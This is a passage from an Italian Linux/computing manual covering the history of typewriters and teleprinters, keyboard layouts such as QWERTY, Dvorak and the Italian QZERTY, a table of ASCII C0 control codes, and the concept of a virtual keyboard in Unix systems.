15.7.2 Utilizzo di «stty» 628
15.7.3 Termcap e Terminfo 631
15.7.4 Variabile di ambiente «TERM» 633
15.7.5 Adattabilità di un programma e abilità dell'utilizzatore 634
15.7.6 Ripulitura dello schermo 634
15.7.7 Definizione degli attributi del terminale con «setterm» 635

15.8 Approfondimento: codifica UTF-8 636

15.8.1 Caratteri per la console 636
15.8.2 Mappa della tastiera 637
15.8.3 Localizzazione 638
15.8.4 Attivare e disattivare l'utilizzo della codifica UTF-8 638
15.8.5 Utilizzo di «luit» 640

15.9 Console grafica VGA nei sistemi GNU/Linux 641

15.9.1 Parametri di avvio: «vga=ask» 641
15.9.2 Modifica dei caratteri 642
15.9.3 Console VGA e «frame buffer» 643
15.9.4 «Frame buffer» dall'avvio 645

15.10 Utilizzo del dispositivo di puntamento 646

15.10.1 Dispositivo del mouse 647
15.10.2 Utilizzo di «gpm» 648
15.10.3 Avvio del servizio di gestione del mouse 651

15.11 Monitoraggio di una sessione di lavoro 651

15.11.1 Utilizzo di «script» 652
15.11.2 File di dispositivo «/dev/vcs*» 652

15.12 Strumenti per la gestione delle console virtuali 652

15.12.1 Utilizzo di «open» 652

15.12.2 Utilizzo di «switchto» 653

15.13 Terminali virtuali, o finestre, con il programma Screen 654

15.13.1 Funzionamento e organizzazione generale 654
15.13.2 Utilizzo di «screen» 656
15.13.3 Comandi interattivi 657
15.13.4 Configurazione 659

15.14 Console parallele con Pconsole 659

15.15 Getty 662

15.15.1 Utilizzo di un programma Getty 662
15.15.2 File «/etc/issue» 663
15.15.3 Utilizzo di MinGetty 664
15.15.4 Utilizzo di Agetty 665
15.15.5 Annotazione per la predisposizione di un terminale seriale 666

15.16 Console nei sistemi GNU/Linux 667

15.16.1 Definizione esplicita della console 668
15.16.2 Usare o non usare la console 668
15.16.3 Annotazioni per una console su un terminale seriale 670

15.17 Riferimenti 672

`clear` 634 `consolechars` 642 `dumpkeys` 598 `fbcon` 643 `gpm` 648 `gpmdata` 647 `issue` 663 `kbd_mode` 593 `loadkeys` 597 `luit` 640 `nvidiafb` 643 `open` 652 `reset` 634 `script` 652 `setfont` 642 `setleds` 594 `setterm` 635 `showkey` 596 `stty` 628 `switchto` 653 `tty` 625 `vesafb` 643 `$TERM` 633 `$TERMINFO` 631

15.1 Introduzione alla tastiera

La tastiera per elaboratore usata comunemente deriva storicamente da quella delle macchine da scrivere, attraverso l'esperienza della telescrivente. Il senso dell'organizzazione della tastiera e di alcune sue particolarità si perde se non si ripercorre brevemente la storia della scrittura meccanica.

Alcune delle foto che appaiono in questo capitolo sono state ottenute da altri documenti; in particolare, per le foto che non sono da ritenere di dominio pubblico è stato chiesto il permesso agli autori rispettivi. I riferimenti alla fonte delle foto che non sono originali appaiono nelle didascalie delle stesse.

15.1.1 Funzionamento essenziale della macchina da scrivere tipica

La macchina da scrivere meccanica tipica, usata fino agli anni 1950, è composta essenzialmente da un telaio, un carrello contenente un rullo sul quale si appoggia il foglio di carta, un blocco di martelli azionati da una tastiera. La pressione di un tasto comporta l'azionamento del martello corrispondente che va a colpire il foglio di carta che poggia sul rullo e quindi l'avanzamento del carrello in modo che la pressione di un nuovo tasto porti alla scrittura di un carattere nella posizione successiva, sulla stessa riga. Quando il carrello arriva a fine corsa, oppure quando viene raggiunto il margine destro di scrittura, si deve far avanzare il foglio di una riga e il carrello alla sua posizione iniziale, in modo da poter scrivere dopo il margine sinistro del foglio; per questo si usa normalmente una leva, azionando la quale si porta il testo a capo; l'azione in sé era nota come «ritorno a carrello».

Figura 15.1. Macchina da scrivere Pittsburg n. 10, probabilmente del 1902. Questa foto proviene da: Richard Polt, *The classic typewriter page*, ⟨http://site.xavier.edu/polt/typewriters/⟩.

Nella figura 15.2 si possono vedere evidenziati i componenti principali di una macchina da scrivere. In particolare, in questo caso la leva per il ritorno a carrello si trova sulla destra del carrello, mentre nella figura 15.3 si trova alla sua sinistra.

Figura 15.2. Componenti principali di una macchina da scrivere tradizionale.

15.1.2 Caratteri maiuscoli, minuscoli e altri simboli

La macchina da scrivere tradizionale dispone di un numero limitato di tasti, rispetto ai simboli tipografici che può scrivere; pertanto, si usano dei tasti da usare in combinazione. In generale si tratta di uno o due tasti equivalenti per ottenere le maiuscole, ma in casi particolari è presente anche un altro tasto per ottenere simboli non alfabetici (numeri e simboli di punteggiatura).

Nella macchina da scrivere a martelli, questi contengono due o tre ***tipi*** alfabetici, numerici, o di altri simboli: a seconda di come raggiungono il foglio di carta si ottiene la stampa di questo o di quel simbolo. In pratica, in alcune macchine da scrivere, il tasto usato per le maiuscole solleva il carrello in modo che i martelli lo colpiscano con la forma del simbolo posta nella parte superiore degli stessi; in altre macchine da scrivere, è il cesto dei martelli che si abbassa. Naturalmente, quando la macchina da scrivere ha meno tasti del solito, esiste la possibilità di regolare il sollevamento del carrello o l'abbassamento del cesto dei martelli a un livello intermedio, in modo che i martelli colpiscano con la forma di un simbolo centrale ulteriore.

Figura 15.3. Macchina da scrivere Fox portable n. 1, del 1917. Questa foto proviene da: Richard Polt, *The classic typewriter page*, ⟨http://site.xavier.edu/polt/typewriters/⟩.

La figura 15.3 mostra un esempio di macchina da scrivere che prevede tre livelli: minuscole, maiuscole e altri simboli. Si può leggere su un tasto a sinistra la scritta «CAP», a indicare che si tratta del tasto [*Maiuscole*], mentre più in alto, un altro tasto di cui non si legge la scritta, serve a bloccare lo spostamento (del carrello o del cesto dei martelli), in modo da avere sempre lettere maiuscole (da cui il nome «fissamaiuscole»,). Tra questi due tasti, ne appare uno con la scritta «FIG», che serve a ottenere i simboli tipografici non alfabetici (l'opposto di *fig* sarebbe *ltr*).

Nelle primissime macchine da scrivere, lo spostamento dei martelli non era previsto e a ogni tasto corrispondeva un solo carattere. Nella figura 15.4 si vede un modello del genere, dove si può osservare che il gruppo di martelli forma proprio un cesto, a giustificarne la definizione.

Figura 15.4. Macchina da scrivere Calligraph 2, approssimativamente del 1888. Questa foto proviene da: Richard Polt, *The classic typewriter page*, ⟨http://site.xavier.edu/polt/typewriters/⟩.

15.1.3 Disposizione anatomica dei tasti

La macchina da scrivere tradizionale tipica ha i tasti disposti in tre o quattro file, sfasate tra di loro. Ciò deriva sia da un'esigenza tecnica, per poter collocare in modo semplice le leve dei tasti, sia da un'esigenza anatomica. La figura 15.5 mostra una macchina da scrivere in cui le leve dei tasti e l'esigenza meccanica a cui si è appena accennato risulta evidente. Si osservi che questa macchina, a differenze di tante altre, utilizza un cilindro di ***tipi*** al posto dei martelli.

Figura 15.5. Macchina da scrivere Postal 5, del 1904. Questa foto proviene da: Richard Polt, *The classic typewriter page*, ⟨http://site.xavier.edu/polt/typewriters/⟩.

La figura 15.6 mostra una macchina da scrivere con una conformazione della tastiera abbastanza particolare, tale da ricordare quella di un pianoforte, disposta su un semicerchio.

Figura 15.6. Macchina da scrivere Hammond 1, approssimativamente del 1889. Questa foto proviene da: Richard Polt, *The classic typewriter page*, ⟨http://site.xavier.edu/polt/typewriters/⟩.

15.1.4 Mappa dei tasti

La prima produzione di macchine da scrivere negli Stati Uniti è quella progettata da Sholes e Glidden, prodotta da Remington, negli anni dal 1874 al 1878. Il progetto di questa macchina, dopo la definizione della sua struttura, ha compreso anche uno studio sulla disposizione dei simboli sui tasti, allo scopo di ridurre al minimo la possibilità di scontro tra i martelli usati per la scrittura. In pratica, due lettere in sequenza dovevano trovarsi a una distanza sufficiente da evitare l'incontro tra un martello che va e uno che viene, consentendo così di ridurre i tempi morti e di scrivere più velocemente, in base alle caratteristiche di quella macchina.

Anche la disposizione dei tasti di quella macchina è stata brevettata, precisamente nel 1878, e il disegno lo si può vedere nella figura 15.7. Dal momento che i primi sei caratteri alfabetici compongono la sequenza «QWERTY», questo è diventato il nome di tale disposizione di tasti.

Figura 15.7. Disegno del brevetto della tastiera QWERTY del 1878. Questa foto, di dominio pubblico, è tratta da: Darryl Rehr, *The QWERTY connection*, ⟨http://home.earthlink.net/~dcrehr/⟩.

La maggior parte delle macchine da scrivere prodotte successivamente dai concorrenti ha utilizzato una mappa molto simile, almeno per quanto riguarda la porzione alfabetica.

La disposizione dei tasti così diversa dall'ordine alfabetico ha creato un mito attorno alle intenzioni reali del suo progettista; tuttavia il problema dello scontro tra i martelli in fase di scrittura esisteva ed è esistito su tutte le macchine da scrivere con quel tipo di struttura. Pertanto, la motivazione per la quale una mappa del genere avrebbe lo scopo di accelerare la scrittura, è realistica, sulla base di quei limiti tecnici. Evidentemente, il motivo per il quale, quasi tutte le mappe di tastiere realizzate per le lingue che usano un alfabeto latino si rifanno fondamentalmente alla disposizione della QWERTY, rimane ormai dovuto alla consuetudine, dato che la scrittura elettronica non comporta più i problemi meccanici di quel tempo.

Nonostante la comodità della consuetudine, ci sono stati molti tentativi di proporre disposizioni differenti dei tasti, nell'ambito dell'alfabeto latino, fino al 1932, quando il professor August Dvorak propose una mappa studiata con criteri opposti rispetto alla QWERTY: i simboli usati con maggiore frequenza si trovano sulla riga di tasti su cui si posano inizialmente le dita.

L'efficacia reale della mappa Dvorak rispetto alla QWERTY è controversa, così la mappa QWERTY e le sue varianti continuano a rappresentare lo standard.

Figura 15.8. Schema della mappa Dvorak.

La produzione di macchine da scrivere dei paesi europei ha seguito più o meno gli standard di fatto introdotti dagli Stati Uniti, anche per quanto riguarda la mappa dei tasti, salvo qualche piccola variante, soprattutto per l'esigenza di introdurre le lettere accentate. Le differenze più importanti, a questo proposito, riguardano la collocazione delle cifre numeriche, le quali, a seconda dei casi, compaiono al livello delle lettere minuscole, oppure al livello delle lettere maiuscole.

Figura 15.9. Olivetti Lettera 35 del 1972, con mappa italiana QZERTY. Le cifre numeriche si ottengono quando si selezionano le maiuscole.

Figura 15.10. Tastiera di una macchina Hermes Media 3, con mappa tedesca QWERTZ. Le cifre numeriche si ottengono con il livello delle lettere minuscole.

15.1.5 Fissamaiuscole

La scrittura attraverso un numero limitato di tasti comporta nella macchina da scrivere la presenza di almeno un tasto per cambiare il ***livello***. Generalmente si tratta di soli due livelli, dove nel primo si collocano le lettere minuscole e nel secondo quelle maiuscole. Nelle macchine da scrivere si è arrivati ad avere due tasti [*Maiuscole*] equivalenti (⇧), da azionare con il mignolo della mano opposta a quella che deve scegliere la lettera o il simbolo da scrivere, assieme a un [*Fissamaiuscole*] (⇪), ovvero un tasto che mantiene inserita la selezione del livello delle maiuscole.

Date le limitazioni della tecnologia, il tasto [*Fissamaiuscole*] interveniva su tutti i tasti, anche su quelli che non servono per rappresentare segni alfabetici puri e semplici.

Tra i tasti che non servono per scrivere lettere alfabetiche ci sono, tra gli altri, quelli che servono per scrivere cifre numeriche; pertanto, la scelta della collocazione di questi simboli nel livello delle lettere minuscole o in quello delle lettere maiuscole, dipendeva dalla frequenza di utilizzo. La mappa italiana della tastiera ha ospitato le cifre numeriche nel livello delle lettere maiuscole, come si può vedere bene nella figura 15.9.

Con l'introduzione dei primi elaboratori dotati di terminali abbastanza completi (di sicuro già dalla fine degli anni 1970) e probabilmente anche delle prime macchine da scrivere elettroniche, negli Stati Uniti il tasto [*Fissamaiuscole*] ha cominciato a funzionare, precisamente, solo per le maiuscole, senza interferire con gli altri segni tipografici.

Nei paesi europei, generalmente, la diffusione degli elaboratori degli anni 1980 non ha portato alla modifica del funzionamento del [*Fissamaiuscole*] rispetto alle convenzioni costruite con le macchine da scrivere tradizionali. Questo lo si può verificare nel sistema operativo Dos, nel quale la configurazione della tastiera di paesi come Francia e Germania mantiene un funzionamento «tradizionale» del [*Fissamaiuscole*].

Si osservi che un sistema GNU/Linux tipico non consente la configurazione della tastiera in modo da far agire il tasto [*Fissamaiuscole*] su tutta la tastiera. Pertanto, alcune configurazioni locali della mappa della tastiera hanno richiesto un adattamento.

15.1.6 Avanzamento, arretramento e composizione

Nella maggior parte delle macchine da scrivere tradizionali lo spazio orizzontale si ottiene attraverso quella che è nota come «barra spaziatrice». Nella macchina da scrivere, il compito della barra spaziatrice è quello di fare avanzare il carrello, senza scrivere alcunché, al contrario di ciò che avviene di solito con la scrittura elettronica, dove invece si ottiene la «scrittura» di uno spazio (␣), mentre lo spostamento della posizione della scrittura avviene tramite un cursore controllato normalmente attraverso dei tasti muniti di frecce.

Con la comparsa delle macchine da scrivere a «scrittura visibile», dove il dattilografo poteva vedere immediatamente il testo che stava digitando, comincia ad apparire un tasto per l'arretramento. Anche in questo caso, lo scopo è solo quello di spostare il carrello all'indietro, rispetto al verso di scrittura. Questo arretramento poteva servire per correggere uno spostamento in avanti eccessivo, per tentare delle correzioni o per creare dei simboli composti (per esempio una virgola sovrapposta a una lettera «c», poteva servire per costruire una «ç», così come un apostrofo sovrapposto a una vocale poteva dare l'idea di un accento). Nella lingua inglese, questo tasto viene individuato con il termine *back space*.

La correzione di una digitazione errata richiedeva inizialmente l'uso di gomme per cancellare speciali: molto sottili, abrasive e tondeggianti. Dopo la cancellazione si poteva tornare sulla stessa posizione per riscrivere il testo corretto. In tempi più recenti si è introdotto l'uso di liquidi bianchi coprenti e di foglietti correttori. In questo ultimo caso, occorreva arretrare sulla posizione del carattere stampato erroneamente, inserire il foglietto di correzione e ribattere la stessa lettera o lo stesso simbolo per cancellarlo. Un altro modo di «correggere», in mancanza di altro, ma soprattutto in mancanza di tempo, consisteva nel sovrascrivere il segno '='; con lo stesso criterio, nel nastro perforato della telescrivente, il codice di controllo usato per indicare qualcosa di cancellato, o qualcosa senza valore, si otteneva rappresentando tutti i fori possibili. Infatti, seguendo la tradizione, nel codice ASCII, il carattere *<DEL>* si rappresenta come $7F_{16}$, pari a 1111111_2 (⫽).

Con l'introduzione della scrittura elettronica, l'arretramento poteva assumere significati differenti, a seconda del metodo usato per la scrittura: poteva trattarsi di un arretramento puro e semplice, consentendo così la composizione di simboli sovrapposti, oppure di una cancellazione, quando il testo inserito veniva prima accumulato in memoria fino al termine della riga. Nel primo caso, la macchina da scrivere poteva disporre di un tasto speciale che cancellava il carattere premuto in precedenza in quella posizione.

L'evoluzione delle tecniche di correzione nella macchina da scrivere giustifica la presenza di diversi tasti nella tastiera per elaboratore. Il tasto noto come [*Backspace*] serve normalmente per arretrare cancellando (⌫); il tasto [*Canc*] (ovvero [*Del*] nelle tastiere inglesi) serve a cancellare il carattere che appare in corrispondenza del cursore, avvicinando il testo che dovesse trovarsi alla destra del cursore stesso; i tasti con le frecce spostano il cursore, ovvero la posizione in cui si intende andare a scrivere.

Come già accennato, nelle macchine da scrivere tradizionali, l'arretramento serviva anche per comporre assieme più simboli. Nella scrittura elettronica, soprattutto nel caso degli elaboratori, la composizione viene gestita in modo diverso, attraverso la definizione di «tasti morti», i quali servono a dichiarare l'inizio di una sequenza di composizione che il software poi deve tradurre nel carattere corretto.

Nella tradizione italiana, con la scomparsa delle macchine da scrivere meccaniche si smette di pensare al concetto di composizione, tramite la sovrapposizione dei simboli. Infatti, la mappa per la tastiera apparsa nel 1983 nell'elaboratore Olivetti M24, non prevede la presenza di tasti morti. Tuttavia, il sistema operativo Dos di allora consentiva di generare altri simboli attraverso combinazioni con la tastiera numerica, pertanto non se ne avvertiva il problema. Al contrario, in altri paesi europei la configurazione della tastiera prevedeva spesso anche dei tasti morti per la composizione.

Per motivi tecnici, nella macchina da scrivere tradizionale il concetto di «inserimento» è assente del tutto, mentre compare solo nella scrittura elettronica, dove invece si può distinguere tra una scrittura che inserisce del testo, rispetto a una scrittura che sovrascrive eventualmente il testo che si trova in corrispondenza del cursore ().

15.1.7 Tabulatore

A un certo punto dell'evoluzione delle macchine da scrivere tradizionali, si sente il bisogno di facilitare la scrittura di informazioni incolonnate. Per fare questo viene introdotta la tabulazione, che si ottiene fissando degli ***stop di tabulazione***, a cui si accede direttamente premendo un tasto: il ***tabulatore***.

In pratica, era necessario spostare orizzontalmente il carrello nella posizione desiderata, fissare lo stop di tabulazione e ripetere l'operazione per tutti gli altri incolonnamenti da programmare. Successivamente, durante la scrittura, bastava premere il tabulatore per raggiungere immediatamente lo stop successivo. Per togliere gli stop programmati in precedenza, ci si doveva riposizionare negli stessi punti, usando un altro tasto per toglierli.

Nella scrittura elettronica la tabulazione di evolve, ma rimane il concetto di fondo (↹).

15.1.8 Telescrivente

La telescrivente è letteralmente la macchina che consente la scrittura a distanza, che nasce come evoluzione della telegrafia. La telescrivente costituisce anche la prima fase di adattamento della macchina da scrivere a terminale di un elaboratore elettronico. Il primo sistema telescrivente ragionevolmente efficace è quello di IBM, con il sistema Radiotype, del 1931.

Figura 15.11. Disegno della macchina da scrivere Blickensderfer Electric, del 1902. La prima macchina da scrivere elettrica, per di più con testina di scrittura cilindrica, apre la strada all'idea della telescrivente. Questa immagine proviene da: Richard Polt, *The classic typewriter page*, ⟨http://site.xavier.edu/polt/typewriters/⟩.

Rispetto alla macchina da scrivere, nella tastiera della telescrivente compaiono tasti con funzioni nuove, come il tasto [*Ctrl*] (⊛), con lo scopo di produrre codici di controllo che non sono associati alla scrittura di alcun simbolo. Attualmente, la storia della telescrivente sopravvive nel codice ASCII.

Generalmente, i codici di controllo necessari al funzionamento corretto delle comunicazioni attraverso una telescrivente sono generati quasi sempre attraverso combinazioni con un tasto, denominato *control*, con qualche eccezione eventuale per i codici più importanti, come per esempio *<ESC>* (⊘).

Tradizionalmente, con la telescrivente, l'associazione del tasto *control* si rappresenta con un accento circonflesso, secondo una forma del tipo '**^x**'. Questa notazione rimane valida, purché utilizzata secondo il suo significato originale. In pratica, si deve considerare che le tastiere di un elaboratore comune si possono riconfigurare; pertanto, per fare un esempio, scrivere *<^a>* significa fare riferimento al codice ASCII 01_{16}, pari a *<SOH>*, ma non è detto, necessariamente, che per ottenere questo codice si debba premere sulla tastiera di oggi una combinazione del tipo [*Ctrl a*].

Tabella 15.12. Codici di controllo «C0», con la descrizione originale ottenuta da: *C0 control characters set*, 1987, ⟨*http://www.itscj.ipsj.or.jp/ISO-IR/140.pdf* ⟩.

Codice numerico	Acronimo	Combinazione tradizionale	Nome	Descrizione originale
0_{16}	NUL		NULL	A control character used to accomplish media-fill or time-fill. NUL characters may be inserted into or removed from, a stream of data without affecting the information content of that stream, but such action may affect the information layout and/or the control of equipment.
1_{16}	SOH	*<^a>*	START OF HEADING	A transmission control character used as the first character of a heading of an information message.
2_{16}	STX	*<^b>*	START OF TEXT	A transmission control character which precedes a text and which is used to terminate a heading.
3_{16}	ETX	*<^c>*	END OF TEXT	A transmission control character which terminates a text.
4_{16}	EOT	*<^d>*	END OF TRANSMISSION	A transmission control character used to indicate the conclusion of the transmission of one or more texts.
5_{16}	ENQ	*<^e>*	ENQUIRY	A transmission control character used as a request from a remote station - the response may include station identification and/or station status. When a "Who are you" function is required on the general switched transmission network, the first use of ENQ after the connection is established shall have the meaning "Who are you" (station identification). Subsequent use of ENQ may, or may not, include the function "Who are you", as determined by agreement.
6_{16}	ACK	*<^f>*	ACKNOWLEDGE	A transmission control character transmitted by a receiver as an affirmative response to the sender.

Codice numerico	Acronimo	Combinazione tradizionale	Nome	Descrizione originale
7_{16}	BEL	<^*g*>	BELL	A control character that is used when there is a need to call for attention; it may control alarm or attention devices.
8_{16}	BS	<^*h*>	BACKSPACE	A format effector which causes the active position to move one character position backwards.
9_{16}	HT	<^*i*>	HORIZONTAL TABULATION	A format effector which causes the active position to advance to the next pre-determined character position.
A_{16}	LF	<^*j*>	LINE FEED	A format effector which causes the active position to advance to the corresponding character position of the next line.
B_{16}	VT	<^*k*>	VERTICAL TABULATION	A format effector which causes the active position to advance to the corresponding character position on the next pre-determined line.
C_{16}	FF	<^*l*>	FORM FEED	A format effector which causes the active position to advance to the corresponding character position on a pre-determined line of the next form or page.
D_{16}	CR	<^*m*>	CARRIAGE RETURN	A format effector which causes the active position to move to the first character position on the same line.
E_{16}	SO	<^*n*>	SHIFT OUT	A control character which is used in conjunction with SHIFT IN and ESCAPE to extend the graphic character set of the code. It may alter the meaning of octets 33 - 126 (dec.). The effect of this character when using code extension techniques is described in International Standard ISO 2022.
F_{16}	SI	<^*o*>	SHIFT IN	A control character which is used in conjunction with SHIFT OUT and ESCAPE to extend the graphic character set of the code. It may reinstate the standard meanings of the octets which follow it. The effect of this character when using code extension techniques is described in International Standard ISO 2022.
10_{16}	DLE	<^*p*>	DATA LINK ESCAPE	A transmission control character which will change the meaning of a limited number of contiguously following bit combinations. Its is used exclusively to provide supplementary transmission control functions. Only graphic characters and transmission control characters can be used in DLE sequences.
11_{16}	DC1	<^*q*>	DEVICE CONTROL ONE	A device control character which is primarily intended for turning on or starting an ancillary device. If it is not required for this purpose, it may be used to restore a device to the basic mode of operation (see also DC2 and DC3), or for any other device control function not provided by other DCs.

Codice numerico	Acronimo	Combinazione tradizionale	Nome	Descrizione originale
12_{16}	DC2	<^*r*>	DEVICE CONTROL TWO	A device control character which is primarily intended for turning on or starting an ancillary device. If it is not required for this purpose, it may be used to set a device to a special mode of operation (in which case DC1 is used to restore the device to the basic mode), or for any other device control function not provided by other DCs.
13_{16}	DC3	<^*s*>	DEVICE CONTROL THREE	A device control character which is primarily intended for turning off or stopping an ancillary device. This function may be a secondary level stop, for example wait, pause, stand-by or halt (in which case DC1 is used to restore normal operation). If it is not required for this purpose, it may be used for any other ancillary device control function not provided by other DCs.
14_{16}	DC4	<^*t*>	DEVICE CONTROL FOUR	A device control character which is primarily intended for turning off, stopping or interrupting an ancillary device. If it is not required for this purpose, it may be used for any other device control function not provided by other DCs.
15_{16}	NAK	<^*u*>	NEGATIVE ACKNOWLEDGE	A transmission control character transmitted by a receiver as a negative response to the sender.
16_{16}	SYN	<^*v*>	SYNCHRONOUS IDLE	A transmission control character used by a synchronous transmission system in the absence of any other character (idle condition) to provide a signal from which synchronism may be achieved or retained between data terminal equipment.
17_{16}	ETB	<^*w*>	END OF TRANSMISSION BLOCK	A transmission control character used to indicate the end of a transmission block of data where data is divided into such blocks for transmission purposes.
18_{16}	CAN	<^*x*>	CANCEL	A character, or the first character of a sequence, indicating that the data preceding it is in error. As a result, this data shall be ignored. The specific meaning of this character shall be defined for each application and/or between sender and recipient.
19_{16}	EM	<^*y*>	END OF MEDIUM	A control character that may be used to identify the physical end of a medium, or the end of the used portion of a medium, or the end of the wanted portion of data recorded on a medium. The position of this character does not necessarily correspond to the physical end of the medium.

Codice numerico	Acronimo	Combinazione tradizionale	Nome	Descrizione originale
$1A_{16}$	SUB	<^z>	SUBSTITUTE	A control character used in the place of a character that has been found to be invalid or in error. SUB is intended to be introduced by automatic means.
$1B_{16}$	ESC	<^[>	ESCAPE	A control character which is used to provide additional characters. It alters the meaning of a limited number of contiguously following bit combinations. The use of this character is specified in ISO 2022.
$1C_{16}$	FS IS4	<^\>	FILE SEPARATOR INFORMATION SEPARATOR FOUR	A control character used to separate and qualify data logically; its specific meaning has to be defined for each application. If this character is used in hierarchical order it delimits a data item called a file.
$1D_{16}$	GS IS3	<^]>	GROUP SEPARATOR INFORMATION SEPARATOR THREE	A control character used to separate and qualify data logically; its specific meaning has to be defined for each application. If this character is used in hierarchical order, it delimits a data item called a group.
$1E_{16}$	RS IS2	<^^>	RECORD SEPARATOR INFORMATION SEPARATOR TWO	A control character used to separate and qualify data logically; its specific meaning has to be defined for each application. If this character is used in hierarchical order it delimits a data item called a record.
$1F_{16}$	US IS1	<^_>	UNIT SEPARATOR INFORMATION SEPARATOR ONE	A control character used to separate and qualify data logically; its specific meaning has to be defined for each application. If this character is used in hierarchical order, it delimits a data item called a unit.
$7F_{16}$	DEL		DELETE	A character used primarily to erase or obliterate an erroneous or unwanted character in punched tape. DEL characters may also serve to accomplish media-fill or time-fill. They may be inserted into, or removed from, a stream of data without affecting the information content of that stream, but such action may affect the information layout and/or the control of equipment.

Figura 15.13. La telescrivente più conosciuta dagli anni 1960. Questa foto proviene dalla raccolta di Peter Roosen-Runge, visibile alla pagina *York computing: scenes from a distant past*, ⟨http://www.cse.yorku.ca/~peter/deptphotos/photos.html ⟩

Figura 15.14. Mappa della tastiera della telescrivente Teletype ASR-33.

Figura 15.15. Il terminale video più comune, DEC VT100 del 1978, aderente allo standard ANSI X3.64, ovvero ECMA-48, ovvero ISO/IEC 6429. Questa foto è di Dave Dunfield, tratta da *Daves Old Computers* ⟨http://www.classiccmp.org/dunfield/tty/⟩.

15.1.9 Mutazione della mappa italiana

Gli anni 1980 rappresentano il momento in cui la macchina da scrivere comincia a cedere il posto agli elaboratori personali, un po' in tutto il mondo. Questo passaggio, per quanto riguarda l'Italia, segna la trasformazione della mappa italiana per le tastiere.

Alla fine degli anni 1970 cominciavano a diffondersi elaboratori professionali abbastanza completi. In quel periodo la produzione italiana era praticamente assente, o comunque non comparabile sul piano tecnico. Gli elaboratori in questione erano quindi importati dagli Stati Uniti o dalla Gran Bretagna, dotati di tastiere QWERTY senza lettere accentate. Tuttavia, lo standard di scrittura della lingua italiana prevede gli accenti quasi esclusivamente alla fine delle parole, cosa che si poteva ottenere graficamente con l'apostrofo: era il contesto a far capire se si doveva intendere come apostrofo, accento grave o accento acuto.

In un certo senso, in Italia si diffondeva l'idea che la tastiera per elaboratore fosse una cosa e che la tastiera della macchina da scrivere fosse un'altra.

Tra il 1982 e il 1983 succede qualcosa che trasforma la «tastiera italiana» in una QWERTY con lettere accentate, ma è difficile ricostruire i passaggi di questa mutazione. Infatti, in quel periodo Olivetti produceva elaboratori, proponendo nel mercato italiano, sia tastiere tradizionali QZERTY, sia tastiere QWERTY. Questa incertezza ha fine con la distribuzione del modello M24, dove appare una tastiera QWERTY adattata con le lettere accentate per la lingua italiana (figura 15.20). Probabilmente è proprio l'elaboratore Olivetti M24 il «responsabile», nel bene o nel male, della trasformazione della tastiera italiana.

Figura 15.16. Tastiera QWERTY dell'elaboratore Olivetti M20, anno 1982, da un opuscolo per il mercato italiano. Si osservi comunque che il modello M20 BC aveva una tastiera QZERTY tradizionale.

Figura 15.17. Tastiera QZERTY dell'elaboratore Olivetti M20 BC, anno 1982, da una foto di Davide Bucci.

Figura 15.18. Tastiera QZERTY dell'elaboratore Olivetti M40 BC, anno 1982, da un opuscolo.

Figura 15.19. Tastiera QZERTY dell'elaboratore portatile Olivetti M10, anno 1983. L'immagine è stata ottenuta da un'asta telematica di apparecchiature usate.

Figura 15.20. Tastiera QWERTY italiana dell'elaboratore Olivetti M24, anno 1983. Si osservi che il tasto [*Fissamaiuscole*] funziona solo nella porzione alfabetica della tastiera, escludendo anche le lettere accentate.

Nonostante la produzione da parte di Olivetti dell'elaboratore M24 con una nuova tastiera italiana, continua la sua produzione di macchine da scrivere per qualche tempo, ma sempre con la mappa tradizionale QZERTY, sottolineando la distinzione tra macchina da scrivere ed elaboratore.

Figura 15.21. Macchina da scrivere elettronica Olivetti ET116, probabilmente dell'anno 1987.

Figura 15.22. Dettaglio della tastiera della macchina da scrivere elettronica Olivetti ET116.

15.2 Tastiera di un elaboratore

La gestione della tastiera con un sistema operativo è generalmente una questione abbastanza complicata. Un sistema operativo destinato ad architetture differenti deve essere in grado di gestire tastiere fisiche molto diverse tra di loro, mantenendo un comportamento uniforme.

Per poter adattare tastiere fisiche differenti allo stesso sistema operativo, è necessario creare un'astrazione rispetto alla tastiera reale, abbinando la pressione dei tasti fisici a simboli di una tastiera virtuale che rimane sempre la stessa. La tastiera virtuale dei sistemi che si rifanno al modello di Unix, genera dei simboli, che possono avere il significato di un carattere, di una stringa, o di una funzione speciale. Quello che si fa sulla tastiera fisica è un'azione meccanica, ma quello che conta è ciò che, da quella azione, viene generato attraverso la tastiera virtuale. Per esempio, se ipoteticamente con la combinazione di tasti [*AltGr e*] si ottiene il simbolo «€», per il sistema è come se si premesse il tasto [€] della tastiera virtuale.

Nelle tastiere fisiche si utilizzano diversi tasti «modificatori» per generare delle combinazioni, per esempio per ottenere le lettere maiuscole, mentre, nella tastiera virtuale si può immaginare che ci sia un tasto singolo per ogni funzione.

Nella tastiera virtuale di un sistema simile a Unix si prevedono tasti con funzioni speciali, che in pratica trasmettono un carattere o una stringa che ha lo scopo di comunicare qualcosa a un programma. Per esempio, il codice ASCII <*BS*>, ovvero 08_{16}, ha normalmente lo scopo di cancellare un testo, arretrando; il codice ASCII <*STX*>, ovvero 02_{16}, potrebbe avere lo scopo di informare il programma della conclusione del flusso di dati in ingresso (*end of file*). Per ottenere questi simboli con funzioni speciali si può immaginare la tastiera virtuale con un tasto apposito per ognuno, mentre nella tastiera reale potrebbe essere necessaria una combinazione (nel caso del codice di conclusione di un flusso di dati si usa normalmente la combinazione [*Ctrl d*]). Tuttavia, la tastiera virtuale tipica di un sistema Unix prevede dei modificatori (virtuali): si tratta precisamente di <*Control*> e <*Meta*>.

I modificatori virtuali <*Control*> e <*Meta*> servono per ottenere delle funzioni speciali, in abbinamento con altri tasti (virtuali). Tuttavia, si potrebbero immaginare tasti virtuali separati per ognuna delle combinazioni prestabilite, rendendo il concetto più semplice.

Il fatto che la tastiera virtuale di un sistema basato sul modello di Unix preveda dei modificatori virtuali, è fonte di confusione, perché, per esempio, da un lato può essere «facile» abbinare mentalmente il tasto reale [*Ctrl*] al modificatore virtuale <*Control*>, dall'altro, però, non è detto che la combinazione reale [*Ctrl* ***x***] produca effettivamente la selezione della funzione abbinata alla combinazione virtuale <*Control_****x***>. Per evitare questa confusione, sarebbe meglio pensare a funzioni associate a tasti virtuali indipendenti: <*Control_a*>, <*Control_b*>, <*Control_c*>,... <*Meta_a*>, <*Meta_b*>, <*Meta_c*>,...

